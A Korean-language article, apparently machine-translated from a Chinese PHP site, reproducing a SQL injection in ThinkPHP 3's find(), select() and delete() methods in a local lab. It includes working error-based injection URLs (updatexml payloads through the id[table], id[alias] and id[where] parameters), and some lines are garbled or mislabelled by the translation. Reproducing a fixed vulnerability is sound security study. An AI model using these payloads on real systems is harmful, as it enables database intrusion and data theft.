thinkphp3에 취약점이 있나요?
thinkphp3은 취약하지만 2018년 8월 23일 목요일 오전 11시 25분(베이징 시간)에 tp 팀에서 업데이트가 중단된 thinkphp 3 시리즈에 대한 보안 업데이트를 진행했으며, 분석 후 이번 업데이트를 선택했기 때문에 수정되었습니다. (), find() 및 delete() 메소드는 배열 유형 데이터를 전달할 수 있으므로 여러 가지 SQL 삽입 위험이 있습니다.
0x01 취약점 재발
소스 코드 다운로드: git clone https://github.com/top-think/thinkphp.git
git clone https://github.com/top-think/thinkphp.git
使用git checkout 命令将版本回退到上一次commit:git checkout 109bf30254a38651c21837633d9293a4065c300b
git checkout 109bf30254a38651c21837633d9293a4065c300b
phpstudy와 같은 통합 도구를 사용하여 thinkphp를 빌드하고 Apache 구성 파일 httpd-confDocumentRoot ""를 thinkphp가 있는 디렉터리로 수정합니다.
phpstudy를 다시 시작하고 127.0.0.1에 접속한 후 thinkphp 환영 메시지를 출력하면 thinkphp가 정상적으로 실행되고 있음을 알 수 있습니다.
데이터베이스를 구축합니다. 데이터베이스는 tptest, 테이블은 user, 테이블에는 id, username, pass
ApplicationCommonConfconfig.php 구성 파일을 수정하고 데이터베이스 구성 정보를 추가합니다.
ApplicationHomeControllerIndexController.class.php에 다음 코드를 추가하세요.public function test() { $id = i('id'); $res = M('user')->find($id); //$res = M('user')->delete($id); //$res = M('user')->select($id); }select() 및 find() 메서드에 대해 참고할 부분이 많이 있습니다. 다음은 세 가지 주요 테이블, 별칭 및 위치입니다. 자세한 내용은 ParSql의 다양한 ParsXXX 메서드를 직접 추적해 보세요.
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--delete() 메서드의 경우도 마찬가지입니다. 다음은 대략적인 세 가지 예입니다: 테이블, 별칭, where. 그러나 테이블과 별칭을 사용할 때는 where가 비어 있지 않은지 확인해야 합니다(자세한 이유). 나중에 다룰 예정)
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1github에 커밋을 비교해 보면 이번 업데이트가 주로 ThinkPHP/Library/Think/Model.class.php 파일에 있다는 것을 대략 알 수 있는데, 여기서 세 가지 함수가 delete, find 및 선택 항목이 수정되었습니다. 🎜
위 내용은 thinkphp3에 취약점이 있나요?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!